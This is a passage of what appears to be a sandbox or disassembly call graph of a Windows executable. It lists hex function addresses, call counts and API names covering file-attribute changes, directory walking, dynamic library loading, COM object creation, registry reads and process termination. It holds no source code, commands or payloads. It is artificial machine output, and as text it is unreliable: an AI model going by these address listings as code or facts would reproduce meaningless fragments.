49227->49228 49231 432c01 49228->49231 49229 4327e5 49230 416a9f 35 API calls 49229->49230 49229->49258 49260 4328b7 49230->49260 49487 417c63 VariantClear ctype 49231->49487 49232 432aeb 49422 421713 49232->49422 49237 418a14 VariantClear 49239 432b1e 49237->49239 49240 421406 329 API calls 49239->49240 49241 432b44 49240->49241 49242 432b56 49241->49242 49244 418874 38 API calls 49241->49244 49246 418a14 VariantClear 49242->49246 49243 416990 39 API calls 49243->49260 49244->49242 49245 416bfe 34 API calls 49250 432587 49245->49250 49248 432b81 49246->49248 49485 421751 VariantClear 49248->49485 49249 421630 34 API calls 49249->49260 49250->49219 49250->49229 49250->49245 49250->49258 49428 4169e0 CharUpperBuffW 49250->49428 49430 436aed 221 API calls ctype 49250->49430 49431 4190e4 VariantClear ctype 49250->49431 49432 4376b3 49250->49432 49475 417c83 49250->49475 49253 432bd1 49486 416bba VariantClear 49253->49486 49254 4376b3 221 API calls 49254->49260 49483 41faee 51 API calls _fast_error_exit 49258->49483 49259 416bfe 34 API calls 49259->49260 49260->49232 49260->49243 49260->49249 49260->49254 49260->49258 49260->49259 49484 416a56 35 API calls 49260->49484 49270 432d36 49261->49270 49262 432df6 49266 416bfe 34 API calls 49262->49266 49264 4376b3 221 API calls 49269 432dc2 49264->49269 49265 432df1 49267 4183f6 ctype VariantClear 49265->49267 49268 432e0c 49266->49268 49271 4330d7 49267->49271 49272 416c4c 34 API calls 49268->49272 49269->49262 49269->49265 49273 432da5 49269->49273 49270->49262 49270->49264 49270->49273 49271->49180 49274 432e1f 49272->49274 49516 41faee 51 API calls _fast_error_exit 49273->49516 49275 4169e0 CharUpperBuffW 49274->49275 49276 432e2c 49275->49276 49277 432e39 49276->49277 49279 432f0c 49276->49279 49280 432e60 49277->49280 49305 432ef3 49277->49305 49278 432f5e 49278->49265 49281 432f75 49278->49281 49286 432fa6 49278->49286 49279->49278 49279->49305 49522 418357 37 API calls 49279->49522 49282 416c4c 34 API calls 49280->49282 49524 4309c0 95 API calls ctype 49281->49524 49287 432e7b 49282->49287 49290 432fcc 49286->49290 49317 432ff8 49286->49317 49517 416990 CharUpperBuffW 49287->49517 49288 432eb1 49292 4330bb 49288->49292 49293 432ebf 49288->49293 49289 432f4e 49523 436aed 221 API calls ctype 49289->49523 49296 433276 221 API calls 49290->49296 49299 418874 38 API calls 49292->49299 49297 432ec8 49293->49297 49298 4330af 49293->49298 49295 432e8a 49300 416c4c 34 API calls 49295->49300 49296->49305 49301 4330a3 49297->49301 49302 432ecf 49297->49302 49529 4190fd 62 API calls ctype 49298->49529 49299->49265 49304 432e9c 49300->49304 49528 41924b 60 API calls ctype 49301->49528 49307 433096 49302->49307 49308 432ed6 49302->49308 49309 4169e0 CharUpperBuffW 49304->49309 49305->49265 49525 41faee 51 API calls _fast_error_exit 49305->49525 49527 4193d3 60 API calls ctype 49307->49527 49310 43308a 49308->49310 49311 432edd 49308->49311 49313 432ea9 49309->49313 49526 419319 60 API calls ctype 49310->49526 49311->49265 49521 419bfa 51 API calls 49311->49521 49315 4183f6 ctype VariantClear 49313->49315 49315->49288 49317->49288 49317->49305 49319 4321ff 49318->49319 49531 432285 221 API calls ctype 49319->49531 49321 432233 49322 432266 49321->49322 49324 432250 49321->49324 49328 43225e 49321->49328 49543 41faee 51 API calls _fast_error_exit 49322->49543 49532 420425 49324->49532 49544 417c63 VariantClear ctype 49328->49544 49330 433488 49329->49330 49331 433653 49330->49331 49332 4334aa 49330->49332 49333 433501 49330->49333 49334 433647 49330->49334 49335 433546 49330->49335 49336 433586 49330->49336 49337 4335c6 49330->49337 49338 43360b 49330->49338 49339 4334cc 49330->49339 49340 433513 49330->49340 49341 433557 49330->49341 49342 433597 49330->49342 49343 4335d5 49330->49343 49344 43349d 49330->49344 49345 4334dd 49330->49345 49346 4335a6 49330->49346 49347 433524 49330->49347 49348 433568 49330->49348 49349 4334af 49330->49349 49350 4334ef 49330->49350 49351 4335ed 49330->49351 49352 433577 49330->49352 49353 4335b7 49330->49353 49354 433536 49330->49354 49355 4335f9 49330->49355 49356 4334bd 49330->49356 49357 43363c 49330->49357 49905 41faee 51 API calls _fast_error_exit 49331->49905 49332->49180 49888 433d51 221 API calls ctype 49333->49888 49904 434e42 52 API calls 49334->49904 49892 434533 132 API calls ctype 49335->49892 49896 43498c 221 API calls ctype 49336->49896 49900 4354f2 222 API calls ctype 49337->49900 49383 4323fe 35 API calls 49338->49383 49885 433adf 221 API calls ctype 49339->49885 49889 433e53 55 API calls ctype 49340->49889 49893 4346d6 221 API calls ctype 49341->49893 49897 43494a 52 API calls 49342->49897 49852 434e89 49343->49852 49829 433700 49344->49829 49886 433c00 52 API calls 49345->49886 49898 434c69 55 API calls ctype 49346->49898 49890 433f4d 221 API calls 49347->49890 49894 4348cf 38 API calls ctype 49348->49894 49883 433a8f 38 API calls ctype 49349->49883 49887 433c52 221 API calls ctype 49350->49887 49901 435a47 221 API calls ctype 49351->49901 49895 43494a 52 API calls 49352->49895 49899 4360be 222 API calls ctype 49353->49899 49891 433fc1 226 API calls ctype 49354->49891 49902 4359d0 221 API calls 49355->49902 49884 43494a 52 API calls 49356->49884 49903 434da0 221 API calls 49357->49903 49383->49332 49385 433289 49384->49385 49386 418874 38 API calls 49385->49386 49409 4332bb 49386->49409 49389 4333dc 49393 4183f6 ctype VariantClear 49389->49393 49390 433408 49392 4376b3 221 API calls 49390->49392 49397 433418 49392->49397 49394 4333e7 49393->49394 49395 4183f6 ctype VariantClear 49394->49395 49396 4333ef 49395->49396 49398 4183f6 ctype VariantClear 49396->49398 49397->49389 49400 433445 49397->49400 49401 43342d 49397->49401 49399 4333f7 49398->49399 49951 417c63 VariantClear ctype 49399->49951 49403 417c83 38 API calls 49400->49403 49952 41faee 51 API calls _fast_error_exit 49401->49952 49404 433451 49403->49404 49942 431dce 49404->49942 49407 418874 38 API calls 49407->49409 49409->49389 49409->49390 49409->49407 49410 418a14 VariantClear 49409->49410 49411 4333cd 49409->49411 49936 431e29 49409->49936 49948 417d32 VariantClear ctype 49409->49948 49949 431e5b 221 API calls ctype 49409->49949 49410->49409 49950 41fcd4 51 API calls _fast_error_exit 49411->49950 49413->49180 49415 42163c 49414->49415 49421 42165e 49414->49421 49417 449170 34 API calls 49415->49417 49416 449170 34 API calls 49418 42168a 49416->49418 49417->49421 49488 417e35 49418->49488 49420 4216b6 49420->49250 49421->49416 49423 449170 34 API calls 49422->49423 49424 42171b 49423->49424 49492 421847 49424->49492 49427->49217 49429 4169fb 49428->49429 49429->49250 49430->49250 49431->49250 49497 43633e 49432->49497 49434 4321ef 221 API calls 49461 437702 49434->49461 49436 43633e 34 API calls 49436->49461 49437 437eff 94 API calls 49437->49461 49438 43789d 49515 4384ea VariantClear ctype 49438->49515 49439 437deb 49441 437e23 49439->49441 49442 437cb3 49439->49442 49440 437d29 49445 4181c7 37 API calls 49440->49445 49447 418874 38 API calls 49441->49447 49512 41faee 51 API calls _fast_error_exit 49442->49512 49443 437c86 49504 41faee 51 API calls _fast_error_exit 49443->49504 49462 437d34 49445->49462 49446 43850c 38 API calls 49446->49461 49451 437e01 49447->49451 49513 4384ea VariantClear ctype 49451->49513 49452 437e32 49514 41faee 51 API calls _fast_error_exit 49452->49514 49460 437e49 49466 4183f6 ctype VariantClear 49460->49466 49461->49434 49461->49436 49461->49437 49461->49438 49461->49439 49461->49440 49461->49442 49461->49443 49461->49446 49461->49452 49500 43671d 221 API calls ctype 49461->49500 49501 4174a6 34 API calls 49461->49501 49502 4190b2 35 API calls ctype 49461->49502 49503 419099 VariantClear ctype 49461->49503 49462->49452 49465 437d98 49462->49465 49467 437d6a 49462->49467 49469 4183f6 ctype VariantClear 49465->49469 49466->49438 49505 438541 VariantClear ctype 49467->49505 49471 437da8 49469->49471 49470 437d75 49506 419099 VariantClear ctype 49470->49506 49471->49250 49473 437d89 49507 43850c 49473->49507 49476 417c8e 49475->49476 49480 417cb1 49475->49480 49479 449170 34 API calls 49476->49479 49477 449170 34 API calls 49478 417cde 49477->49478 49481 418874 38 API calls 49478->49481 49479->49480 49480->49477 49482 417d12 49481->49482 49482->49250 49483->49219 49484->49260 49485->49253 49486->49219 49489 417e3d 49488->49489 49491 417e89 49488->49491 49490 449170 34 API calls 49489->49490 49489->49491 49490->49491 49491->49420 49493 418874 38 API calls 49492->49493 49494 42186d 49493->49494 49495 418874 38 API calls 49494->49495 49496 421742 49495->49496 49496->49237 49498 449170 34 API calls 49497->49498 49499 436345 49498->49499 49499->49461 49500->49461 49501->49461 49502->49461 49503->49461 49504->49438 49505->49470 49506->49473 49508 449170 34 API calls 49507->49508 49509 438514 49508->49509 49510 418874 38 API calls 49509->49510 49511 438532 49510->49511 49511->49465 49512->49451 49514->49460 49516->49265 49520 4169a8 49517->49520 49518 4169d1 49518->49295 49520->49518 49530 418048 38 API calls 49520->49530 49521->49265 49522->49289 49523->49278 49524->49305 49525->49265 49526->49265 49527->49265 49528->49265 49529->49265 49530->49518 49531->49321 49533 418a14 VariantClear 49532->49533 49534 420432 49533->49534 49535 42047f 49534->49535 49536 420462 49534->49536 49545 4253c3 49535->49545 49572 439814 49535->49572 49665 414e55 GetFileAttributesW 49535->49665 49667 4222a2 49535->49667 49706 418ad9 49536->49706 49538 42047b 49538->49328 49543->49328 49546 4253e5 49545->49546 49713 4184a9 49546->49713 49550 4184a9 50 API calls 49551 4254fb 49550->49551 49717 414e6e 49551->49717 49552 425417 49552->49550 49557 4254e5 49552->49557 49554 425524 49555 42556e GetCurrentDirectoryW SetCurrentDirectoryW 49554->49555 49556 425592 49555->49556 49555->49557 49558 414e55 GetFileAttributesW 49556->49558 49560 418a14 VariantClear 49557->49560 49559 42559e 49558->49559 49561 425602 49559->49561 49562 4255a3 GetFileAttributesW SetFileAttributesW 49559->49562 49563 4255de 49560->49563 49721 425639 FindFirstFileW 49561->49721 49565 4255e0 49562->49565 49566 4255cc SetCurrentDirectoryW 49562->49566 49563->49538 49567 4255e6 SetCurrentDirectoryW 49565->49567 49568 425627 SetCurrentDirectoryW 49565->49568 49566->49557 49570 425600 49567->49570 49568->49563 49570->49561 49571 418a14 VariantClear 49571->49568 49573 439ac7 49572->49573 49746 4184c9 49573->49746 49576 416c4c 34 API calls 49577 439ae1 49576->49577 49578 4184c9 50 API calls 49577->49578 49579 439af7 49578->49579 49580 416c4c 34 API calls 49579->49580 49581 439b01 49580->49581 49750 416bde 49581->49750 49584 439b21 49760 41faee 51 API calls _fast_error_exit 49584->49760 49585 439b35 CharLowerBuffW 49753 417171 49585->49753 49589 439d5d 49594 439da5 49589->49594 49595 439d89 49589->49595 49590 416bde 34 API calls 49591 439b74 49590->49591 49761 416f90 34 API calls 49591->49761 49600 41858e 54 API calls 49594->49600 49599 4184a9 50 API calls 49595->49599 49596 416bfe 34 API calls 49613 439bb9 49596->49613 49597 4184c9 50 API calls 49597->49613 49598 439b89 49603 416bfe 34 API calls 49598->49603 49602 439d9c LoadLibraryW 49599->49602 49608 439db8 49600->49608 49614 439df1 49602->49614 49610 439ba0 49603->49610 49604 439dd9 49605 439e0a 49604->49605 49611 41858e 54 API calls 49604->49611 49607 418a14 VariantClear 49605->49607 49606 439e1c 49615 439e35 49606->49615 49616 439e59 49606->49616 49629 439b2d 49607->49629 49608->49604 49612 41858e 54 API calls 49608->49612 49610->49613 49621 416bfe 34 API calls 49610->49621 49611->49614 49612->49604 49613->49589 49613->49596 49613->49597 49620 439d6b 49613->49620 49762 416f37 34 API calls 49613->49762 49763 416cee 34 API calls 49613->49763 49764 44943d 62 API calls 2 library calls 49613->49764 49614->49605 49614->49606 49765 4168a2 49615->49765 49622 41858e 54 API calls 49616->49622 49623 418a14 VariantClear 49620->49623 49625 439bcf 49621->49625 49624 439e6e GetProcAddress 49622->49624 49623->49629 49628 439e7b 49624->49628 49627 416bfe 34 API calls 49625->49627 49630 439bed 49625->49630 49626 43a0c5 49631 416bfe 34 API calls 49626->49631 49627->49630 49632 439e56 49628->49632 49641 439ec8 49628->49641 49660 439eeb _strcat 49628->49660 49629->49538 49630->49613 49634 439c97 49630->49634 49654 43a0fe 49631->49654 49632->49628 49772 416d7e 34 API calls 49632->49772 49637 418a14 VariantClear 49634->49637 49636 418a14 VariantClear 49643 43a184 49636->49643 49637->49629 49640 439ea1 49645 4168a2 36 API calls 49640->49645 49646 418a14 VariantClear 49641->49646 49643->49629 49643->49636 49649 418ad9 35 API calls 49643->49649 49775 415adc 35 API calls 49643->49775 49776 418aa7 VariantClear ctype 49643->49776 49777 41684e 36 API calls _strlen 49643->49777 49778 418a87 VariantClear ctype 49643->49778 49779 418b39 58 API calls ctype 49643->49779 49780 418b39 58 API calls ctype 49643->49780 49650 439eac GetProcAddress 49645->49650 49646->49629 49647 449170 34 API calls 49647->49660 49648 43a261 VariantClear 49648->49643 49649->49643 49652 439ec2 49650->49652 49651 41858e 54 API calls 49651->49660 49652->49641 49652->49660 49654->49654 49655 43a16a 49654->49655 49656 43a14f 49654->49656 49774 415ac3 35 API calls 49655->49774 49773 41faee 51 API calls _fast_error_exit 49656->49773 49659 4184a9 50 API calls 49659->49660 49660->49626 49660->49643 49660->49647 49660->49651 49660->49659 49664 4168a2 36 API calls 49660->49664 49661 43a15b GetCurrentProcess TerminateProcess 49661->49655 49664->49660 49666 414e64 49665->49666 49666->49538 49668 4222b9 49667->49668 49669 41858e 54 API calls 49668->49669 49670 4222c9 49669->49670 49672 416bde 34 API calls 49670->49672 49705 42237d 49670->49705 49671 449170 34 API calls 49674 4223a4 49671->49674 49673 4222e4 49672->49673 49675 449170 34 API calls 49673->49675 49678 4223ae 49674->49678 49807 413c2d 47 API calls 49674->49807 49677 4222ef 49675->49677 49679 449170 34 API calls 49677->49679 49680 4184a9 50 API calls 49678->49680 49681 4222f7 49679->49681 49682 4223cc 49680->49682 49684 4184a9 50 API calls 49681->49684 49784 413c3d 49682->49784 49685 422318 49684->49685 49803 416ee1 34 API calls 49685->49803 49686 449170 34 API calls 49689 42240f 49686->49689 49687 4223d8 49687->49686 49697 4223dc 49687->49697 49688 418a14 VariantClear 49703 422385 49688->49703 49689->49697 49808 403d50 34 API calls 49689->49808 49691 42232d 49804 416ee1 34 API calls 49691->49804 49694 42233b 49699 422365 49694->49699 49805 414e01 GetFileAttributesW FindFirstFileW FindClose 49694->49805 49696 422349 49698 42234e 49696->49698 49696->49699 49697->49688 49806 41553b 38 API calls _wcsrchr 49698->49806 49701 41858e 54 API calls 49699->49701 49701->49705 49702 422356 49702->49699 49704 418a14 VariantClear 49702->49704 49703->49538 49704->49699 49705->49671 49705->49703 49707 4183f6 ctype VariantClear 49706->49707 49708 418ae0 49707->49708 49709 449170 34 API calls 49708->49709 49710 418aee 49709->49710 49711 416bfe 34 API calls 49710->49711 49712 418aff 49710->49712 49711->49712 49712->49538 49714 4184b1 49713->49714 49715 4184c3 49714->49715 49740 41873b 50 API calls ctype 49714->49740 49715->49552 49735 41858e 49715->49735 49741 416034 49717->49741 49719 414e7d GetFullPathNameW 49720 414e94 49719->49720 49720->49554 49722 42566a 49721->49722 49727 42561a 49721->49727 49723 4256c8 FindNextFileW 49722->49723 49726 42569f GetFileAttributesW SetFileAttributesW 49722->49726 49723->49722 49724 4256da FindClose 49723->49724 49725 4256f1 FindFirstFileW 49724->49725 49724->49727 49728 42577d 49725->49728 49733 425707 49725->49733 49726->49723 49729 4256ea 49726->49729 49727->49568 49727->49571 49730 42577f FindClose 49728->49730 49729->49730 49730->49727 49731 425769 FindNextFileW 49731->49728 49731->49733 49732 425745 SetCurrentDirectoryW 49732->49733 49733->49729 49733->49731 49733->49732 49734 425766 SetCurrentDirectoryW 49733->49734 49734->49731 49736 41859a 49735->49736 49739 4185c3 49735->49739 49736->49739 49745 449291 54 API calls 49736->49745 49738 4185dd 49738->49552 49739->49552 49740->49715 49742 41603e 49741->49742 49743 449170 34 API calls 49742->49743 49744 416048 49743->49744 49744->49719 49745->49738 49747 4184dc 49746->49747 49748 4184cf 49746->49748 49747->49576 49748->49747 49781 41873b 50 API calls ctype 49748->49781 49751 449170 34 API calls 49750->49751 49752 416bf3 49751->49752 49752->49584 49752->49585 49754 41717e 49753->49754 49755 4171c4 49754->49755 49756 4171b5 49754->49756 49759 417216 49754->49759 49755->49590 49755->49613 49756->49755 49782 4173ee 63 API calls 49756->49782 49759->49755 49783 4173ee 63 API calls 49759->49783 49760->49629 49761->49598 49762->49613 49763->49613 49764->49613 49766 4168bb WideCharToMultiByte 49765->49766 49767 4168ae 49765->49767 49768 4168d6 GetProcAddress 49766->49768 49769 4168da 49766->49769 49767->49766 49768->49632 49770 449170 34 API calls 49769->49770 49771 4168e0 WideCharToMultiByte 49770->49771 49771->49768 49772->49640 49773->49661 49775->49643 49776->49643 49777->49643 49778->49643 49779->49643 49780->49648 49781->49747 49782->49756 49783->49759 49809 413e1f 49784->49809 49787 413c6e 49789 413c76 49787->49789 49790 413c81 49787->49790 49791 413ca5 49787->49791 49792 44a5a9 63 API calls 49789->49792 49816 44a5a9 49790->49816 49791->49789 49794 413cba 49791->49794 49797 413ca0 49792->49797 49795 413cbe CreateFileW 49794->49795 49798 413ce5 49794->49798 49795->49797 49797->49798 49827 413d58 45 API calls 49797->49827 49798->49687 49801 413ce0 49828 413d9d 45 API calls 49801->49828 49803->49691 49804->49694 49805->49696 49806->49702 49807->49678 49808->49697 49810 413e29 49809->49810 49811 413c4c 49809->49811 49812 413e37 49810->49812 49813 413e2f CloseHandle 49810->49813 49811->49787 49815 413e51 64 API calls 49811->49815 49814 44a855 46 API calls 49812->49814 49813->49811 49814->49811 49815->49787 49817 44a54d 63 API calls 49816->49817 49818 413c8e 49817->49818 49818->49797 49819 44a64b 49818->49819 49820 44a657 __lock 49819->49820 49821 44b8fc 35 API calls 49820->49821 49822 44a65f 49821->49822 49823 44a5bc 43 API calls 49822->49823 49824 44a672 49823->49824 49825 44a68a RtlLeaveCriticalSection RtlLeaveCriticalSection 49824->49825 49826 44a681 __lock 49825->49826 49826->49797 49827->49801 49828->49798 49906 437668 49829->49906 49831 43371d 49832 433a6f 49831->49832 49834 43374c 49831->49834 49847 4337c7 49831->49847 49912 41faee 51 API calls _fast_error_exit 49832->49912 49838 43375e 49834->49838 49851 4337d4 49834->49851 49835 433822 49836 421713 38 API calls 49835->49836 49839 433839 49836->49839 49837 4337a8 49843 421630 34 API calls 49837->49843 49838->49837 49841 421630 34 API calls 49838->49841 49838->49847 49840 4183f6 ctype VariantClear 49839->49840 49842 433841 49840->49842 49841->49838 49845 4183f6 ctype VariantClear 49842->49845 49844 4337b8 49843->49844 49846 4320d3 329 API calls 49844->49846 49845->49847 49846->49847 49847->49332 49849 437668 221 API calls 49849->49851 49850 433a08 49911 41faee 51 API calls _fast_error_exit 49850->49911 49851->49835 49851->49839 49851->49849 49851->49850 49855 434ed8 49852->49855 49853 434f1b 49854 416bde 34 API calls 49853->49854 49875 434f23 49854->49875 49855->49853 49856 434f07 49855->49856 49857 434eee 49855->49857 49914 4354f2 222 API calls ctype 49856->49914 49857->49853 49859 434ef3 49857->49859 49913 4360be 222 API calls ctype 49859->49913 49861 4183f6 ctype VariantClear 49862 435437 49861->49862 49863 4183f6 ctype VariantClear 49862->49863 49865 43543f 49863->49865 49864 416d00 34 API calls 49864->49875 49865->49332 49867 434f02 49867->49861 49868 435412 49933 41faee 51 API calls _fast_error_exit 49868->49933 49869 416c4c 34 API calls 49869->49875 49870 416990 39 API calls 49870->49875 49872 4169e0 CharUpperBuffW 49872->49875 49873 418ad9 35 API calls 49873->49875 49874 4376b3 221 API calls 49874->49875 49875->49864 49875->49867 49875->49868 49875->49869 49875->49870 49875->49872 49875->49873 49875->49874 49877 418874 38 API calls 49875->49877 49878 416bfe 34 API calls 49875->49878 49879 41858e 54 API calls 49875->49879 49915 416b20 CharUpperBuffW 49875->49915 49916 419c9c 49875->49916 49922 419d56 49875->49922 49931 419f19 38 API calls 49875->49931 49932 4330de 221 API calls ctype 49875->49932 49877->49875 49878->49875 49879->49875 49883->49332 49884->49332 49885->49332 49886->49332 49887->49332 49888->49332 49889->49332 49890->49332 49891->49332 49892->49332 49893->49332 49894->49332 49895->49332 49896->49332 49897->49332 49898->49332 49899->49332 49900->49332 49901->49332 49902->49332 49903->49332 49904->49332 49905->49332 49907 4376b3 221 API calls 49906->49907 49908 43768c 49907->49908 49909 4183f6 ctype VariantClear 49908->49909 49910 4376ac 49909->49910 49910->49831 49911->49839 49912->49847 49913->49867 49914->49867 49915->49875 49917 419cb1 49916->49917 49918 419ca5 49916->49918 49917->49875 49919 4183f6 ctype VariantClear 49918->49919 49920 419cac 49919->49920 49934 419c48 34 API calls 49920->49934 49923 419d63 ctype 49922->49923 49924 419d5f 49922->49924 49935 419ce1 VariantClear ctype 49923->49935 49924->49875 49926 419d71 49927 449170 34 API calls 49926->49927 49930 419ddf 49926->49930 49928 419dd4 49927->49928 49929 449170 34 API calls 49928->49929 49929->49930 49930->49875 49930->49930 49931->49875 49932->49875 49933->49867 49934->49917 49935->49926 49937 431e30 49936->49937 49941 431e52 49936->49941 49938 418ad9 35 API calls 49937->49938 49939 431e3a 49938->49939 49953 431b0a 49939->49953 49941->49409 49943 431de8 49942->49943 49944 431b0a 110 API calls 49943->49944 49945 431e18 49944->49945 49946 4183f6 ctype VariantClear 49945->49946 49947 431e22 49946->49947 49947->49389 49948->49409 49949->49409 49950->49389 49952->49389 49956 431b42 49953->49956 49961 431b5f 49953->49961 49955 431bd2 49958 449170 34 API calls 49955->49958 49956->49955 49957 416034 34 API calls 49956->49957 49956->49961 49959 431b99 49957->49959 49964 431be3 49958->49964 49959->49955 49959->49961 49960 431c1c 49962 431c5d VariantInit 49960->49962 49974 431d76 49960->49974 49985 4309c0 95 API calls ctype 49961->49985 49965 431c74 __lock 49962->49965 49964->49960 49966 431c1e 49964->49966 49980 4301fc 89 API calls ctype 49964->49980 49967 431ce0 49965->49967 49968 431d06 49965->49968 49981 4309c0 95 API calls ctype 49966->49981 49982 4309c0 95 API calls ctype 49967->49982 49983 418b39 58 API calls ctype 49968->49983 49972 431d69 VariantClear 49972->49974 49973 431cf8 49973->49972 49975 431d89 VariantClear 49974->49975 49976 431d8e VariantClear 49974->49976 49977 431d97 49974->49977 49975->49976 49976->49974 49976->49977 49977->49941 49979 431d12 49979->49972 49984 418b39 58 API calls ctype 49979->49984 49980->49964 49981->49960 49982->49973 49983->49979 49984->49979 49985->49977 49986->49191 49988 449170 34 API calls 49987->49988 49989 416ab6 49988->49989 49990 417f9f 49989->49990 49991 417fab 49990->49991 49996 417fdc 49990->49996 49992 417fb8 49991->49992 49993 417f9f VariantClear 49991->49993 49994 417fc7 49992->49994 49995 417f9f VariantClear 49992->49995 49993->49992 49994->49996 49998 43855b VariantClear ctype 49994->49998 49995->49994 49996->49104 49998->49996 49999->49124 50000->49134 50001 4310a2 50002 4310b5 50001->50002 50003 4310eb 50001->50003 50004 431111 50002->50004 50005 4310b8 50002->50005 50008 4184a9 50 API calls 50003->50008 50009 4184a9 50 API calls 50004->50009 50006 4310f0 50005->50006 50007 4310bb 50005->50007 50012 4184a9 50 API calls 50006->50012 50010 431149 50007->50010 50013 4184a9 50 API calls 50007->50013 50011 431140 50008->50011 50009->50003 50021 430dcb 50011->50021 50015 431105 50012->50015 50016 4310db 50013->50016 50017 4184a9 50 API calls 50015->50017 50018 4184a9 50 API calls 50016->50018 50017->50003 50019 4310e3 50018->50019 50020 4184a9 50 API calls 50019->50020 50020->50003 50022 416bde 34 API calls 50021->50022 50023 430de6 50022->50023 50024 416bde 34 API calls 50023->50024 50025 430dee 50024->50025 50026 416bde 34 API calls 50025->50026 50027 430df6 50026->50027 50028 418a14 VariantClear 50027->50028 50029 430e0c 50028->50029 50030 430e22 50029->50030 50031 430e14 OleInitialize 50029->50031 50032 416034 34 API calls 50030->50032 50031->50030 50033 430e2a CLSIDFromProgID 50032->50033 50034 430e40 50033->50034 50035 430e45 50034->50035 50036 430e61 CoCreateInstance 50034->50036 50037 430ed7 50034->50037 50065 4309c0 95 API calls ctype 50035->50065 50036->50035 50038 430e7d 50036->50038 50067 430763 41 API calls __lock 50037->50067 50038->50035 50045 430e9b 50038->50045 50041 430eec 50041->50035 50042 430ef9 CoInitializeSecurity 50041->50042 50043 430f17 __lock 50042->50043 50068 4301be CoTaskMemAlloc 50043->50068 50044 430e52 50044->50010 50066 418b39 58 API calls ctype 50045->50066 50048 430f25 50049 416d00 34 API calls 50048->50049 50064 430faa __lock 50048->50064 50052 430f41 50049->50052 50050 431019 CoCreateInstanceEx 50050->50035 50051 43104d 50050->50051 50051->50035 50055 431080 50051->50055 50056 43105d CoSetProxyBlanket 50051->50056 50053 430f55 50052->50053 50069 41728c 34 API calls 50052->50069 50053->50064 50055->50038 50058 431094 50055->50058 50056->50055 50057 430f73 50070 416cee 34 API calls 50057->50070 50058->50035 50060 430f7b 50071 4172d5 34 API calls 50060->50071 50062 430fa2 50072 416cee 34 API calls 50062->50072 50064->50050 50064->50053 50065->50044 50066->50044 50067->50041 50068->50048 50069->50057 50070->50060 50071->50062 50072->50064 50073 458276 50078 41a0dd 50073->50078 50077 45828a 50079 41a0ea _fast_error_exit 50078->50079 50119 4108ad 18 API calls 50079->50119 50081 41a0f7 50082 416bde 34 API calls 50081->50082 50083 41a102 50082->50083 50084 416bde 34 API calls 50083->50084 50085 41a10d 50084->50085 50086 416bde 34 API calls 50085->50086 50087 41a118 50086->50087 50088 416bde 34 API calls 50087->50088 50089 41a123 50088->50089 50090 416bde 34 API calls 50089->50090 50091 41a12e 50090->50091 50092 416bde 34 API calls 50091->50092 50093 41a139 50092->50093 50094 416bde 34 API calls 50093->50094 50095 41a144 50094->50095 50096 416bde 34 API calls 50095->50096 50097 41a14f 50096->50097 50098 416bde 34 API calls 50097->50098 50099 41a15a 50098->50099 50100 416bde 34 API calls 50099->50100 50101 41a165 50100->50101 50102 416bde 34 API calls 50101->50102 50103 41a1b4 50102->50103 50120 403465 34 API calls 50103->50120 50105 41a231 50121 402a44 34 API calls 50105->50121 50107 41a253 50108 416bde 34 API calls 50107->50108 50109 41a25e 50108->50109 50110 416bde 34 API calls 50109->50110 50111 41a269 50110->50111 50112 416d00 34 API calls 50111->50112 50113 41a302 50112->50113 50114 449170 34 API calls 50113->50114 50117 41f74f 50114->50117 50115 41f7da 50118 449646 38 API calls 50115->50118 50116 416034 34 API calls 50116->50117 50117->50115 50117->50116 50118->50077 50119->50081 50120->50105 50121->50107 50122 4582c6 50127 40f71a 50122->50127 50126 4582db 50128 40f727 _fast_error_exit 50127->50128 50129 449170 34 API calls 50128->50129 50130 40f76f GetModuleFileNameW 50129->50130 50131 40f7a3 50130->50131 50132 449170 34 API calls 50131->50132 50133 40f7db 50132->50133 50134 40f7fe RegOpenKeyExW 50133->50134 50135 40f930 50134->50135 50136 40f823 RegQueryValueExW 50134->50136 50140 449646 38 API calls 50135->50140 50137 40f927 RegCloseKey 50136->50137 50139 40f84d 50136->50139 50137->50135 50138 449170 34 API calls 50138->50139 50139->50137 50139->50138 50140->50126 50141 44faf0 50142 44fb2c 50141->50142 50163 44fb25 50141->50163 50143 44fb56 50142->50143 50144 44fb6a 50142->50144 50168 455696 36 API calls 2 library calls 50143->50168 50147 44fc04 WriteFile 50144->50147 50153 44fb78 50144->50153 50149 44fc1c 50147->50149 50150 44fc28 GetLastError 50147->50150 50152 44fc64 50149->50152 50157 44fc3d 50149->50157 50149->50163 50150->50149 50151 44fb65 50151->50144 50152->50163 50172 44d915 34 API calls __lock 50152->50172 50153->50152 50155 44fbc9 WriteFile 50153->50155 50155->50150 50158 44fb8c 50155->50158 50156 44fc7e 50173 44d91e 34 API calls __lock 50156->50173 50160 44fc45 50157->50160 50161 44fc59 50157->50161 50158->50149 50158->50153 50166 44fc02 50158->50166 50169 44d915 34 API calls __lock 50160->50169 50171 44d927 34 API calls __lock 50161->50171 50174 44c969 50163->50174 50165 44fc4a 50170 44d91e 34 API calls __lock 50165->50170 50166->50149 50168->50151 50169->50165 50170->50163 50171->50163 50172->50156 50173->50163 50175 44c971 50174->50175 50176 44c938 __lock 50174->50176 50180 4545bb 34 API calls 6 library calls 50176->50180 50181 458322 50184 403f24 DeleteObject InvalidateRect 50181->50184 50185 45828c 50190 412519 50185->50190 50189 4582a0 50192 412537 50190->50192 50191 416bde 34 API calls 50191->50192 50192->50191 50193 412544 50192->50193 50197 4129c0 50193->50197 50196 449646 38 API calls 50196->50189 50198 412550 50197->50198 50199 4129d2 __lock 50197->50199 50198->50196 50200 4129f6 CreateIcon 50199->50200 50200->50198 50201 45833c 50204 41f7e3 50201->50204 50206 41f7f6 50204->50206 50205 41f822 mciSendStringW 50208 41f88c 50205->50208 50209 41f83a 50205->50209 50206->50205 50207 41f856 UnregisterHotKey 50207->50209 50212 41f90d 50208->50212 50215 41f8d4 FindClose 50208->50215 50217 413e1f 47 API calls 50208->50217 50209->50207 50209->50208 50229 43138d 50212->50229 50213 4183f6 ctype VariantClear 50214 41f9a9 50213->50214 50237 4217e3 CloseHandle CloseHandle CloseHandle CloseHandle ctype 50214->50237 50215->50208 50217->50208 50230 431399 50229->50230 50231 4313a2 50230->50231 50238 421751 VariantClear 50230->50238 50233 418ad9 35 API calls 50231->50233 50234 4313c5 50233->50234 50235 41f99e 50234->50235 50236 4313cd CoUninitialize 50234->50236 50235->50213 50236->50235 50238->50230 50239 44be98 50240 44bea4 __lock _fast_error_exit 50239->50240 50241 44beb0 GetVersionExA 50240->50241 50242 44beec 50241->50242 50243 44bef8 GetModuleHandleA 50241->50243 50242->50243 50245 44bf14 50243->50245 50282 44e07d HeapCreate 50245->50282 50246 44bf66 50247 44bf72 50246->50247 50399 44be74 34 